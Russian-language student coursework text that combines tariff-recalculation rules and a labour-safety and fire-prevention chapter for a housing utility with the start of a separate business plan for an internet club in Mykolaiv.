12. В случае отклонения фактических объемов работ, выполненных собственными силами, от учтенных при определенные размеру тарифа, соответственно уменьшается взаимно связанные расходы (заработная плата, начисление на нее, материалы, накладные расходы, другие расходы, НДС).

Вышеуказанным решением утвержден порядок учета выполненных работ (услуг) и проведения пересчета за не предоставление или предоставление не в полном объеме услуг по уборке лестничных клеток и придомовой территории, согласно которому:

— согласно с планом-графиком на выполнение работ по дому в течение всего текущего месяца фиксируется фактическая уборка лестничных клеток и придомовой территории (объем и периодичность работ);

— по окончанию месяца складывается акт выполненных работ на каждый дом в котором отображается фактически выполненный объем, который подписывается председателем комитета самоорганизации населения или его представителем.

— за дни когда уборка не проводилась Исполнитель осуществлю пересчет услуги в пределах действующего тарифа учитывая фактические расходы на эту услугу.

— в услугу по уборке лестничных клеток и придомовой территории входит: объем и перечень работ, периодичность их выполнения, которые предусмотрены действующим тарифом квартирной платы (при условие покрытия этих услуг тарифом). Если тариф ниже фактических расходов, тогда объем (перечень) услуг и их периодичность соответственно уменьшается.

Утвержден также порядок проведения пересчета платы за содержание домов и придомовых территорий за техническое обслуживание лифтов при временном их простое в домах повышенного благоустройства (кроме 1 этажей), который производится:

— в домах повышенной степени благоустройства (кроме первых этажей) при временном простое лифтов сроком более чем на три сутки в месяц. Пересчет проводится выходя из стоимости содержания лифту и электроэнергии для лифтов за м2 общей площади квартиры, в утвержденных размерах. Пересчет платы за содержание домов и придомовой территории в домах повышенной степени благоустройства (кроме первых этажей) проводится на основании актов, которые складываются при участии представителей Исполнителя, и предприятия, которое занимается техническим обслуживанием лифтов. В акте отмечается количество дней простоя (технологические простои не учитываются).

— расчет уменьшения сумм платежей населением при временном простое лифтов осуществляется за формулой:

С = Вл + Ве х S: М х N, где

С – сумма уменьшения платы за содержание домов и придомовой территории в домах повышенной степени благоустройства (кроме 1 этажей) при временном простое лифту (грн.);

Вл — стоимость (с НДС) на содержание лифту при 1м2 общей площади в месяц согласно утвержденному тарифу;

Ве — стоимость (с НДС) на электроэнергию для лифтов при 1м2 общей площади в месяц согласно утвержденному тарифу.;

S – общая площадь квартиры, м2;

М – количество дней в месяце;

N — количество дней временного простоя лифтов (поверх трех суток которые предусмотрены в п.4.1).

Производится перерасчет, если дом принадлежит до 1 типа жилья и не имеет внутренне домовых систем водо-, теплоснабжения, водоотвода, ливневой канализации уменьшения платежей проводить ежемесячно в утвержденном размере, а также если дом не имеет объемов из уборки лестничных клеток, придомовой территории уменьшения платежей проводить ежемесячно в утвержденном размере.

В связи со значительной технической изношенностью инженерных сетей и конструктивных элементов домов, и учитывая что потребность в средствах на ремонт и материальные расходы, которая определена приказом Государственного комитета Украины по вопросам жилищно-коммунального хозяйства от 10 августа в 2004 году №150, не учитывает физического износа сетей, инженерного оборудования домов и не обеспечивает Исполнителю возможность осуществления услуг в полном объеме, пересчет по статьям: техническое обслуживание водо-, теплоснабжения, водоотвода, ливневой канализации, электросетей (включая работы по ликвидации аварий); текущий ремонт конструктивных элементов домов, инженерных систем, подготовка жилья к эксплуатации в осенне-зимний период, содержания мастерскых, транспортных средств и механизмов для обслуживания и ремонта домов не проводить.

Раздел 4. Охрана труда

4.1 Задачи раздела

Основная цель раздела — научный анализ условий труда, технологических процессов, аппаратуры и оборудования с точки зрения возможности возникновения аварийных ситуаций, появления опасных факторов, выделения вредных производственных веществ. На основании такого анализа определяются опасные участки производства, возможные аварийные ситуации и разрабатываются мероприятия по их предупреждению или ограничению последствий.

Полностью безопасных и безвредных производств не существует. Задача охраны труда — свести к минимуму вероятность несчастного случая или заболевания работающего с одновременным обеспечением комфортных условий при максимальной производительности труда.

Условия труда на рабочем месте, безопасность технологических процессов, машин, механизмов, оборудования и других средств производства, состояние средств коллективной и индивидуальной защиты, используемых работником, а также санитарно-бытовые условия должны отвечать требованиям нормативных актов об охране труда.

Неразрывно с охраной труда связаны и вопросы пожарной безопасности.

Техника безопасности является составной частью курса «Охраны труда», предусматривает технические и организационные мероприятия, обеспечивающие безопасный труд на производстве.

Для охраны труда немаловажное значение имеют состояние воздушной среды производственных помещений, их освещение, вентиляция, электромагнитные и радиоактивные излучения, вибрация и шум.

4.2 Анализ условий труда и выявление опасных и вредных производственных факторов

Организация рабочего места заключается в выборе рабочей зоне, определении рабочих зон, размещении органов управления, инструментов и заготовок.

Рабочим местом считается место постоянного или периодического пребывания работающего для наблюдения и ведения производственного процесса или эксперимента. Часть пространства рабочего места, в котором осуществляются трудовые процессы, может быть разделена на зоны. Рабочая поза будет наименее утомительна при условии, что рабочая зона сконструирована правильно, то есть обеспечивается соответствие этой зоны с оптимальным полем зрения рабочего, рабочая зона ограничивается дугами, которые могут описывать руки при выполнении производственных операций.

Взаимодействие человека и техники в системе производства должно рассматриваться при проектировании и создании безопасных условий труда, при решении задач оптимизации труда. Такое взаимодействие и является специальным предметом науки эргономики, которая комплексно изучает человека в конкретных условиях его деятельности, связанной с использованием технических средств.

Различаются следующие требования к организации и проектированию трудовых процессов: экономические, психофизиологические, психологические, антропометрические, биомеханические, гигиенические, эстетические и социальные.

К экологическим требованиям относятся: повышение вооруженности технического труда; выбор оптимальной технологии; исключение лишних затрат рабочего времени; наиболее полное использование оборудования; выбор оптимального режима и техники работы; рациональная организация рабочего места.

Психофизиологические требования: установление соответствия скоростных, энергетических, зрительных и других физиологических возможностей человека в рассматриваемом процессе; введение рациональных режимов труда и отдыха; сокращение объема информации; снижение нервно-эмоциональных напряжений и физических нагрузок; профессиональный отбор.

К психологическим требованиям относят установление соответствия закрепленных и формируемых навыков и возможностей восприятия, памяти и мышления.

Антропометрические и биохимические требования: установление соответствия орудий труда размерам, форме и массе тела человека, силе и направлению движения.

Гигиенические требования: создание оптимального физико-химического состава воздушной среды, освещенности, уровней шума и вибрации в пределах нормы.

К эстетическим требованиям относится определение соответствия эстетических потребностей человека и художественно-конструкторских решений оборудования рабочих мест и производственной среды.

Социальные требования: повышение профессиональной подготовки; содержательности труда; эффективности управления производственными процессами, творческой активности трудящихся.

В целом изучаемый нами объект не представляет опасности в отношении поражения людей электрическим током.

По характеру окружающей среды объект характеризуется как нормальный.

Рассмотрим параметры микроклимата изучаемого объекта.

По энергозатратам организма осуществляемые работы на жилищных предприятиях Приморского района классифицируются как физические средней тяжести категории II а. Энергозатраты организма (расход энергии при выполнении работы) составляет 172 — 232 Дж/с или 150 — 200 ккал/ч. В основном работники данного предприятия осуществляют работу, связанную постоянной ходьбой, выполняемую стоя или сидя, но не требующую перемещения тяжестей.

Пути повышения эффективности деятельности коммунального предприятия ООО &amp;quot;Жилье-Плюс&amp;quot;Выполнение работы средней тяжести предполагает соблюдение в рабочей зоне определенных норм. Так, допустимые нормы температуры воздуха в рабочей зоне составляют 17 — 23 С, вне постоянных рабочих мест -13 – 24,с относительной влажностью воздуха — не более 75%, скорости движения воздуха — не более 0,3 м/с

4.3 Производственное освещение

При организации производственного освещения необходимо обеспечить равномерное распределение яркости на рабочей поверхности и окружающих предметах. Перевод взгляда с ярко освещенной на слабо освещенную поверхность вынуждает глаз переадаптироваться, что ведет к утомлению органов зрения и соответственно к снижению производительности труда. Для повышения равномерности естественного освещения применяется комбинированное освещение. Светлая окраска потолка, стен и оборудования способствует равномерному распределению яркости в поле зрения, работающего.

Производственное освещение должно обеспечивать отсутствие в поле зрения работающего резких теней. Наличие резких теней искажает размеры и формы объектов и тем самым повышает утомляемость глаз, снижает производительность труда. Особенно вредны движущиеся тени, которые могут привести к травме.

Колебание освещенности на рабочем месте, вызванное резким изменением напряжения в сети вызывает переадаптацию глаз, приводя к значительному их утомлению. Постоянство освещенности во времени достигается стабилизацией напряжения, жестким креплением светильников, применением специальных систем включения газоразрядных ламп.

При организации производственного освещения следует выбирать необходимый спектральный состав светового потока. Это требование особенно существенно для обеспечения правильной цветопередачи, а в отдельных случаях для усиления цветовых контрастов. Оптимальный спектральный состав обеспечивает естественное освещение.

Помещения с повышенной опасностью характеризуются наличием в них одного из следующих условий, создающих повышенную опасность:

сырости;

токопроводящей пыли;

токопроводящих полов;

высокой температуры.

4.4 Анализ производственного травматизма

Задачей анализа травматизма и профессиональных заболеваний является установление причин и закономерностей, которые вызвали появление несчастных случаев и заболеваний. Несчастному случаю всегда предшествуют отклонения от нормального хода производственного процесса. Поэтому изучение и анализ травматизма дает возможность разработать профилактические мероприятия, устраняющие опасные и вредные условия труда на производстве.

В процессе труда человек средствами труда воздействует на предмет труда, качественно видоизменяя или меняя положение его в пространстве. В свою очередь, сам предмет труда, материал, инструменты и оборудование, имеющееся в распоряжении человека, оказывают влияние на характер условий труда. Кроме того, безопасность и безвредность труда зависят от параметров производственной среды (микроклимата, производственных вредностей), уровня организации труда от подготовки и мастерства самого исполнителя. Все элементы процесса труда находятся во взаимосвязи и образуют единую систему.

Из анализа взаимосвязей человека с элементами системы труда следует, что безопасность и безвредность условий труда определяют в основном две группы факторов: производственно-технические (организационные, технические, факторы производственной среды) и психофизиологические.

В настоящее время в строительстве может быть предложена следующая условная классификация причин травматизма:

организационные причины, отсутствие или неудовлетворительное — проведение инструктажа и обучения; отсутствие проекта производства работ, инструкции по технике безопасности, руководства и надзора за работой; неудовлетворительный режим труда и отдыха; неправильная организация рабочего места, движения пешеходов и транспорта; отсутствие, неисправность или несоответствие условиям работы спецодежды, индивидуальных средств защиты и др.

технические причины подразделяют на конструкторские, технологические и неудовлетворительное техническое обслуживание:

а) конструкторские причины: несоответствие требованиям безопасности строительных конструкций, технологического оборудования, транспортных и энергетических устройств; несовершенство конструкции монтажной оснастки, ручного и переносного механизированного инструмента; отсутствие или

несовершенство оградительные предохранителей и других технических средств безопасности;

б) технологические причины: неправильный выбор оборудования, оснастки грузоподъемных средств и средств механизации, нарушения технологического процесса;

в) неудовлетворительное техническое обслуживание: отсутствие плановых профилактических осмотров, технических уходов и ремонта оборудования, оснастки и транспортных средств; неисправность ручного и переносного механизированного инструмента.

Причины неудовлетворительного состояния производственной среды: неблагоприятные метеорологические условия; неудовлетворительная освещенность; повышенный уровень шума и вибрации, повышенная концентрация вредных веществ в воздухе зоны; наличие вредных облучений. Психофизиологические причины: несоответствие анатомо-физиологических и психологических особенностей организма человека условиям труда; отсутствие ограждений опасных зон, индивидуальных средств защиты; неудовлетворительный психологический климат в коллективе, алкогольное опьянение и др.

К основным видам травмирующих факторов относятся: физическое воздействие на человека деталей машин, механизмов и другого оборудования; транспортных средств и подъемного оборудования; падение предметов, падение человека с высоты и т.д.

Анализ производственного травматизма по приведенной классификации позволяет ликвидировать несчастные случаи и профессиональные заболевания.

Для анализа производственного травматизма и профессиональных заболеваний с целью установления и ликвидации вызывающих их причин применяют статистический и монографический методы.

Статистический метод основан на изучении причин травматизма по документам, регистрирующим уже совершившиеся факты несчастных случаев, профессиональных отравлений и заболеваний (акты по форме Н-1, истки нетрудоспособности) за определенный период времени. Этот метод позволяет получить сравнительную динамику травматизма по отдельным строительным объектам, участкам, предприятиям, цехам. При углубленном статическом анализе травматизма помимо выявления непосредственных причин травматизма производится также анализ несчастных случаев по видам работ, анализируются сведения о пострадавших (профессия, стаж, полг. возраст) и данные о времени происшествия (месяц года, день недели, смена, час рабочего дня).

Статистические методы предусматривают следующие этапы исследования: наблюдение, накопление статистического материала и обработка (анализ) полученных данных с последующими выводами рекомендациями.

Для оценки уровня травматизма пользуются относительными статистическими показателями частоты и тяжести травматизма.

Коэффициент частоты, определяющий количество несчастных случаев, происходящих на 1000 работающих за отчетный период

Кт =n*100/Р,

где п — общее количество несчастных случаев, происшедших в строительной организации за отчетный период; Р — среднесписочное количество, работающих в этой организации за тот же отчетный период.

Коэффициент тяжести травматизма, устанавливающий среднюю длительность временной нетрудоспособности, приходящуюся на один несчастный случай, происшедший на производстве

Кт = Т/n,

где Т -суммарное количество дней временной нетрудоспособности по всем несчастным случаем, подлежащим учету за отчетный период (полугодие, год).

Для более объективной оценки уровня производственного травматизма применяют показатель общего травматизма, представляющий собой количество дней нетрудоспособности на 1000 работающих:

Кобщ = Кч*Кт = Т*1000/Р

В определение указанных коэффициентов травматизма не входят случаи с тяжелым (инвалидным) и смертельным исходом. ЦНИИОМТП предлагает дополнительный показатель, определяющий процентное соотношение травм с тяжелым (инвалидным) и смертельным исходом:

Кси = С*100/п,

где С — количество случаев со смертельным и инвалидным исходом, п — общее количество несчастных случаев за отчетный период.

Оценку уровня производственного травматизма в строительной организации или на предприятии следует производить по всем показателям: Кч, Кт, Кобщ и Кс.

Анализ статистического материала, сгруппированного в табличные сводки, становится более наглядным при графическом его изображении в виде диаграммы и графиков.

Разновидностью статистического метода являются групповой и топографический.

Групповой метод изучения травматизма основан на повторяемости несчастных случаев независимо от тяжести повреждения. Имеющийся материал расследования распределяется по группам с целью выявления несчастных случаев, одинаковых по обстоятельствам, происшедших при одинаковых условиях, а также повторяющихся по характеру повреждений. Это позволяет определить профессии и виды работ, на которые приходится большее число несчастных случаев, выявить дефекты данного вида производственного оборудования, инструмента, машин и наметить конкретные меры обеспечения безопасности труда.

Топографический метод состоит в изучении причин несчастных случаев по месту его происшествия. Все несчастные случаи систематически наносятся условными знаками на планах производства работ, в результате чего наглядно видны места, где произошла травма, производственные участки, требующие особого внимания, тщательного обследования и принятия профилактических мер.

Статистические методы исследования дают возможность получить картину состояния травматизма, установить его динамику, выявить определенные связи и зависимости. Однако при этом не изучаются углубленно производственные условия, при которых произошли учтенные несчастные случаи.

4.5 Профилактика пожаров в зданиях.

Пожарно-профилактические мероприятия должны быть направлены на предупреждение возможности образования горючей среды (сочетания горючего вещества с кислородом воздуха) и появления источников воспламенения, обеспечение безопасных качественных соотношений между ними (там, где их сочетание неизбежно) и создание условии для быстрой локализации и ликвидации возникшего пожара.

Предупредить образование горючей среды в производственном помещении не всегда возможно. Если по условиям производства горючее вещество нельзя изолировать от окружающего воздуха, то надо не допустить появления источников воспламенения и их взаимного контакта. Процессы, связанные с горючими газами, жидкостями и твердыми веществами, при обработке которых выделяется пыль или горючий газ, должны проводиться в герметичной аппаратуре. При эксплуатации подобных устройств необходимо предупреждать возможность появления не плотностей и повреждений, а также источников воспламенения. Для предупреждения повреждений аппаратов и трубопроводов необходимо соблюдать следующие требования:

правильно выбирать материал аппаратов в соответствии с химическими свойствами обрабатываемых продуктов, систематически контролировать количество вредных примесей и степень износа материала, соблюдать установленные сроки проведения планово-предупредительных ремонтов;

перед пуском в эксплуатацию испытывать аппараты на прочность и плотность, контролировать или автоматически регулировать режим работы аппаратов, устанавливать предохранительные приспособления;

предохранять аппараты и трубопроводы от динамических воздействий, резких колебаний давления, гидравлических ударов и т.п.;

предохранять аппараты и трубопроводы от температурных деформаций путем устройства различных температурных компенсаторов, обеспечения равномерного нагрева и охлаждения и т.п.

Образование горючих и взрывоопасных смесей внутри аппаратов и трубопроводов при их остановке на ремонт или включении в общую систему можно предупредить; полным удалением оставшегося продукта или воздуха путем продувки аппарата; надежным отключением аппарата от всех связанных с ним коммуникаций; взятием анализа воздуха на присутствие горючих веществ в процессе ремонта аппаратов и трубопроводов.

Мерами предупреждения пожаров от действия электрического тока является правильный выбор, монтаж и эксплуатация электроустановок, регулярное проведение планово-предупредительных ремонтов и измерение сопротивления изоляции проводов и кабелей с целью замены неисправных участков.

Предотвращение образования в горючей среде источников зажигания согласно ГОСТ 12.1.004 — 91 «Пожарная безопасность. Общие требования» должно достигаться:

регламентацией исполнения, применения и режима эксплуатации машин, механизмов, оборудования, изделий и материалов, которые могут явиться источниками зажигания горючей среды;

применением электрооборудования в соответствии с классом пожаровзрывоопасности помещения или наружной установки, соответствующей группе и категории взрывоопасной смеси;

регламентацией максимально допустимой температуры нагрева поверхностей оборудования, изделий, а также материалов, которые могут войти в контакт с горючей средой;

применением технологического процесса и оборудования, удовлетворяющих требованиям электростатической искробезопасности;

регламентацией максимально допустимой энергии искрового разряда в горючей среде;

применением не искрящегося инструмента при работе с легко воспламеняющимися жидкостями и веществами;

ликвидацией условий теплового, химического и микробиологического самовозгорания веществ, материалов, изделий и конструкций; устранением контакта с воздухом пирофорных веществ и веществ, нагретых выше максимально допустимой температуры нагрева.

Если в аппаратах или помещениях одновременно с горючим веществом имеется источник воспламенения, то необходимо снизить температуру теплового источника до безопасного значения или обеспечить невозможность создания горючей, концентрации паров и газов. Последнее достигается защитой горючих веществ инертной средой, работой аппаратов под разрежением, применением температурных режимов, исключающих» образование горючей концентрации паров и газов

Защита установок, оборудования и аппаратов от опасных проявлений статического электричества обеспечивается:

устройством заземления технологического оборудования, коммуникаций, емкостей и транспортных средств;

увлажнением воздуха до его наибольшей проводимости; ионизацией воздуха и среды, находящихся внутри помещений, технологических аппаратов;

подбором соответствующих слабоэлектризующихся и обладающих повышенной электропроводимостью материалов для технологического оборудования, конструкций зданий;

совершенствованием технологии производства: очисткой жидкостей от загрязнения, осушкой и очисткой газов от взвешенных частиц, заполнением закрытых технологических аппаратов и транспортных устройств негорючими газами.

Замерзшие водопроводные трубы и трубы центрального отопления следует отогревать горячей водой или смоченными в горячей воде тряпками.

Для нахождения мест утечки газа газопроводы следует покрывать, мыльной водой: утечка обнаружится появлением мелких пузырьков.

На промышленных предприятиях курение должно, быть запрещено или ограничено специально выделенными и оборудованными местами для курения.

Уменьшить опасность электросварочных и других огневых работ можно путем усиления контроля за соблюдением требований пожарной безопасности при проведении огневых работ не только со стороны работников пожарной охраны, но и администрации предприятий. В первую очередь, должна быть повышена ответственность службы механика и энергетика, монтажных организаций, администрации цехов.

Одним из мероприятий, уменьшающих потенциальную возможность возникновения пожара, является выполнение огневых работ в специальных мастерских.

При эксплуатации промышленных зданий особое внимание должно уделяться путям эвакуации и эвакуационным выходам, чтобы в случае пожара или аварии обеспечить быструю эвакуацию людей в безопасные места. Эти пути используются также для эвакуации имущества и успешного тушения пожара в случае его возникновения.

Как правило, здания и помещения независимо от их назначения и этажности должны иметь не менее двух эвакуационных выходов, при этом из двухэтажных зданий и выше выходы следует устраивать через закрытые лестничные клетки, которые должны освещаться естественным светом. Загромождать лестничные клетки запрещается.

Территорию предприятия следует постоянно содержать в чистоте. Мусор, производственные и другие отходы — систематически удалять на специально отведенные участки.

Ко всем зданиям и сооружениям необходимо обеспечить свободный доступ. Противопожарные разрывы между зданиями и сооружениями нельзя использовать под складирование материалов, оборудования и т.д. Готовую продукцию, полуфабрикаты, тару, оборудование и т.п. складируют на определенных участках, размещение которых должно соответствовать требованиям пожарной безопасности.

Все производственные помещения следует постоянно содержать в чистоте, для чего мусор и отходы производства необходимо своевременно удалять.

Для раздельного хранения чистых и использованных обтирочных материалов следует установить металлические ящики с плотно закрывающимися крышками. По окончании работы ящики с использованными обтирочными материалами надо очищать. Спецодежду следует хранить в специально предназначенных для этой цели помещениях только в развешенном виде. Целесообразно спецодежду в этих помещениях хранить в шкафчиках с отверстиями для проветривания. В карманах спецодежды нельзя оставлять промасленные тряпки и обтирочные концы. Не допускается оставлять спецодежду на верстаках, ящиках, у рабочих мест.

У цеховых кладовых, предназначенных для хранения горючих и легковоспламеняющихся жидкостей, на видных местах должны быть вывешены таблички с указанием норм хранения этих жидкостей,

Не допускается использовать чердачные помещения для хранения каких-либо материалов или хозяйственных нужд. Чердачные помещения должны быть постоянно заперты, а слуховые окна закрыты. Ключи от чердачных помещений должны храниться в определенном месте, доступном для получения их в любое время суток. На двери чердачного помещения должно быть указано место хранения ключей.

Стационарные пожарные лестницы и несгораемые ограждения на крышах зданий должны содержаться в постоянной исправности.

Временные работы, связанные с нарушением полотна дорог, проездов и подъездов, допускаются с разрешения главного инженера предприятия при обязательном уведомлении пожарной охраны о месте, характере и срокам работ.

Рельсовые пути и временные канавы не должны затруднять свободного и быстрого проезда пожарных машин. Для этого в необходимых местах по согласованию с пожарной охраной устраивают удобные переезды.

Мероприятия, обеспечивающие быструю локализацию и ликвидацию пожаров, заключаются в уменьшении и рассредоточении горючих веществ ограничении путей распространения пожара и создании условий для его быстрой ликвидации.

Уменьшение количества горючего материала в производственных помещениях и его рассредоточение достигаются: ограничением площадей производственных цехов; сокращением запаса горючих материалов в цехе и уборкой отходов; введением непрерывно действующих процессов; устройством аварийных спусков; применением негорючих материалов для устройства аппаратов и конструктивных элементов зданий и т.д. Для ограничения путей распространения пожара необходимо:

отделять более пожароопасные процессы и помещения от менее пожароопасных,

располагать аппараты таким образом, чтобы между производственными помещениями было минимальное количество коммуникаций и проемов в ограждениях;

предусматривать необходимые разрывы между аппаратами;

осуществлять соответствующую защиту проемов в противопожарных преградах (стенах, перекрытиях);

устанавливать задвижки и огнепреградители на коммуникациях горючих жидкостей и газов, а также на газо- и паровоздушных линиях;

следить за чистотой аппаратов и производственных помещений.

Быстрая локализация и ликвидация возникшего пожара достигается также обеспечением производственных помещений необходимым количеством эффективных стационарных и передвижных средств пожаротушения и средств связи, устройством на территории предприятий дорог и обеспечением водоисточниками.

Для своевременного обеспечения водой на случай пожара в насосных, станциях предприятий необходимо устанавливать круглосуточное дежурстве, специальных лиц, обязанности которых определяются инструкцией.

Для подачи пожарной тревоги на территории предприятия необходимо устанавливать звуковые сигналы.

Территорию и каждое помещение предприятия следует обеспечить необходимым количеством первичных средств пожаротушения.

В целях создания условий для быстрого использования пожарного инвентаря и облегчения наблюдения за ним рекомендуется устраивать специальные щиты пожарного инвентаря. В цехах, мастерских и складах, занимающих большую площадь, целесообразно устраивать несколько таких щитов.

Ответственность за исправное содержание, сохранность и учет пожарного инвентаря, средств пожаротушения и связи, находящихся в помещениях, а также повседневное наблюдение и уход за ними возлагается на администрацию цеха, отдела, склада, мастерской.

С наступлением холодного времени года огнетушители и бочки с водой следует убирать с территории и из не отапливаемых помещений и устанавливать их в отапливаемых помещениях. На территории и в помещениях вывешиваются указатели ближайшего места нахождения средств пожаротушения.

Контрольная проверка первичных средств пожаротушения производится не менее двух раз в год (весной и осенью) выделенными для этого работниками объекта (членами ДПД). Результаты проверки оформляются актами, выявленные недостатки устраняются.

Использование пожарного инвентаря и оборудования для хозяйственных, производственных и других нужд, не связанных с пожаротушением, запрещается.

Доклад: Бизнес-план компьютерного клуба

Содержание.

1. Введение

    1. Цель проекта

    2. Описание проекта

1.3 Инвестиционный план

2. Существо проекта

2.1 Описание услуги

2.2 Возможные покупатели услуги

2.3 Отличие услуги от аналогичной у конкурентов

3. Маркетинговые исследования и план маркетинга

3.1 Анализ рынка

3.2 Сегменты рынка

3.3 Анализ сегмента фирмы

3.4 Ценообразование

3.5 Проведение рекламной кампании

4. Техническое обеспечение проекта

5. Риски проекта

6. Финансовый план

6.1 Расчет себестоимости производства единицы услуги

6.2 Прогноз объемов реализации услуги

6.3 Баланс доходов/расходов

6.4 Расчет срока окупаемости

7. Организационный план

8. Выводы

Бизнес-план компьютерного клуба.

1. Введение

Задача компьютерного клуба как вида бизнеса, так же, как и любого другого – это, прежде всего, получение прибыли. Поэтому первоочередная задача предпринимателя при открытии собственного клуба – окупить свои расходы в максимально короткий срок и добиться стабильности и рентабельности предприятия в дальнейшем.

Компьютерный клуб относится к предприятию потребительского рынка в сфере услуг. Это значит, что деятельность компьютерного клуба характеризуется как предоставление услуг населению. Основная услуга здесь – предоставление компьютеров и программного обеспечения в аренду отдельным пользователям. В зависимости от целей пользователей (клиентов) характер услуги может незначительно изменяться. Это могут быть компьютерные игры, получение информации из «всемирной паутины», отправка электронной почты, общение с другими людьми через интернет в реальном времени (чат, ICQ, MSN Messenger) и др.

Востребованность компьютерных услуг растет с каждым годом, несмотря на то, что у многих пользователей появляются свои собственные домашние компьютеры. Во-первых, для многих компьютерных игр требуется наличие локальной сети, к которой не подключены компьютеры домашних пользователей. И, во-вторых, распространенность домовых сетей с высокоскоростным доступом к сети интернет пока еще очень мала, и даже имея дома подключение по телефонной линии, пользователя интересует более высокая скорость подключения, чем по dial-up (>33кбит). Все это может обеспечить на современном этапе развития компьютерный клуб.

1.1 Цель проекта

Целью проекта является создание Интернет-клуба в Центральной части города Николаева (Ленинский район, ул.Садовая) для предоставления услуг жителям города.

Деятельность создаваемого предприятия направлена на оказание услуг в сфере компьютерного бизнеса для людей со средним уровнем дохода.

1.2 Описание предприятия

Данный проект планируется реализовать с образованием юридического лица.

Для финансирования проекта планируется взять льготный кредит в сумме 144000 тысяч гривен сроком на 1 год под 20 % годовых в Николаевском отделении Приват-Банка.

Для организации производства требуется приобрести:

Компьютерное оборудование;

мебель;

произвести небольшой ремонт помещения направленный на улучшение интерьера. Помещение планируется взять на правах долгосрочной аренды.

Основные требования к персоналу — наличие необходимой профессиональной квалификации. Общее количество создаваемых рабочих мест — 10 человек.

1.3 Инвестиционный план

В подготовительный период необходимо выполнить следующий объем работ:

  1. Получить кредит в Николаевском отделении «Приват – Банка»;

  2. Заключить договор на аренду помещения;

  3. Закупить необходимое для организации производственного процесса оборудование;

  4. Произвести ремонт и дооборудованние помещения;

  5. Закупить мебель;

  6. Произвести подбор персонала;

7. Получить разрешения у сан. эпидем. станции

2. Существо проекта

2.1 Описание услуги

Компьютерный клуб – это организация, которая зарабатывает предоставлением в аренду населению компьютеров с установленным программным обеспечением. Факт аренды осуществляется по месту нахождения клуба. Единицей оплачиваемой услуги (в данном случае аренды компьютера) является один академический час.

Предоставляемые услуги:

  1. Компьютерные игры:

    • на персональном компьютере;

    • в локальной сети;

    • в Internet ;

  2. Всемирная паутина – Internet:

    • поиск рефератов, курсовых, сочинений, дипломных проектов и т.д.;

    • просмотр новостей;

    • доступ к электронным библиотекам;

    • общение в реальном времени (чат, форум, ICQ, MSN Messenger);

    • электронная почта;

    • Internet – телефония;

  3. Полиграфия:

    • широкоформатная печать;

    • высококачественное сканирование;

    • ксерокс;

    • запись на CD-RW носители;

  4. Просмотр (прослушивание) новинок видео- и аудиозаписей.

2.2 Возможные покупатели услуги

Потребители услуги — это люди 16–35 лет (старшие школьники, студенты, молодые специалисты).

Основные потребители компьютерных клубов – это дети и подростки в возрасте от 7 до 18 лет. Их интересуют в основном компьютерные игры. Основная привлекательность в клубе для них – возможность играть друг с другом, т.е. некая имитация реальности. Значительная часть их предпочитает работать в Интернете или играть в компьютерные игры по ночам.

Старшие школьники и студенты с помощью Internet производят подготовку рефератов, курсовых работ, дипломных проектов.

Более старшая возрастная группа предпочитает общение в Internet в реальном времени, а также поиск необходимой информации в электронных библиотеках.

Предполагаем работать круглосуточно для предоставления услуг.

2.3 Отличие услуги от аналогичной у конкурентов

Качество услуги компьютерного клуба состоит из нескольких компонентов.

  1. Мощный компьютерный парк со специальным игровым оборудованием (игровые джойстики, специализированные видеокарты, наушники).

  2. Широкий спектр услуг.

  3. Высокоскоростной Internet.

  4. Квалифицированный персонал.

  5. Лицензированное программное обеспечение.

3. Маркетинговые исследования и план маркетинга

3.1 Анализ рынка

По состоянию на 2004 год уже все крупные города (с населением больше 100 тыс. жителей) имеют развитую инфраструктуру компьютерных клубов. В центре города, как правило, располагается несколько крупных интернет-кафе с количеством компьютеров более 50, и по окраинам раскиданы несколько мелких клубов на 10-30 компьютеров.

В непосредственной близости от нашего Интернет-клуба располагается ряд предприятий, предоставляющих аналогичные услуги. В микрорайоне проживает около 100000 человек. Вблизи расположены общежития институтов, школы, лицеи, гимназии, техникумы. Услуги, предоставляемые аналогичными предприятиями, на наш взгляд, не обеспечивают запросы населения. Поэтому считаем, что наш Интернет-клуб конкурентно-способен и имеет реальные шансы на обслуживание достаточного количества посетителей.

3.2 Сегменты рынка

Уровень доходов на члена семьи

Высокий (>400$ мес.)

Выше среднего (300-400$ мес.)

Средний (200-300$ мес.)

Ниже среднего (100-200$ мес.)

Низкий (<100$ мес.)

До 8-ми лет

До 12-ти

До 15-ти

До 17-ти

До 20-ти

От 20-ти до 50-ти

Сегментация рынка для интернет-клуба

3.3 Анализ сегмента фирмы

Выбраны именно эти сегменты и возрастные категории, потому что они наиболее четко соответствуют предполагаемым составам клиентов.

Высокий уровень доходов — люди, посещающие интернет-клубы ради развлечений (командных игр и т.п.).

Доходы выше среднего уровня:

От 12-ти до 17-ти лет – развлечения, возможно выполнение домашних заданий.

От 17-ти до 50-ти лет – преимущественно использование ПК для работы.

Доходы среднего уровня:

От 12-ти до 17-ти лет – развлечения, возможно выполнение домашних заданий.

От 17-ти до 50-ти лет – преимущественно использование ПК для работы.

Доходы ниже среднего уровня – использование ПК для работы, игры маловероятны.

3.4 Ценообразование

Цена аренды академического часа использования компьютера в клубах колеблется от 2 до 5 гривен в данном сегменте рынка. Основополагающую цену в клубе необходимо выбирать исходя из соображений конкуренции.

Расценки:

Услуги

Время

Цена

Аренда компьютера

с 8.00 до 22.00

2 грн./час

Аренда компьютера

с 22.00 до 8.00

1,5 грн./час

Ночной игровой пакет

с 22.00 до 8.00

10 грн.

Интернет

с 8.00 до 22.00

3 грн./час

Ночной пакет Интернет

с 22.00 до 8.00

10грн./4 часа

Сканер

1 грн/лист

Черно-белая печать

25 коп/лист

Ксерокопия

15 коп/лист

Цветная печать

1 грн/лист

Печать на фотобумаге

6 грн/лист

Запись CD –R/RW

8 грн.

Запись на жесткий диск

1 грн/ГБт.

Исходя из цен на рынке, выбираем расчетную цену академического часа равной цене аренды компьютера 2 грн/час.

3.5 Проведение рекламной кампании

Реклама для этого бизнеса должна быть простой и недорогой, поскольку рассчитана на небольшой контингент потребителей – местное население.

Чем больше потенциальных клиентов узнает об открытии клуба, тем лучше. Для начала требуется напечатать небольшой тираж листовок и разбросать их в подъездах ближайших домов. Первые несколько дней посетителей необходимо обслуживать бесплатно. Это позволит не только привлечь в клуб большее количество посетителей, но и проанализировать, какие услуги пользуются популярностью, протестировать работу техники.

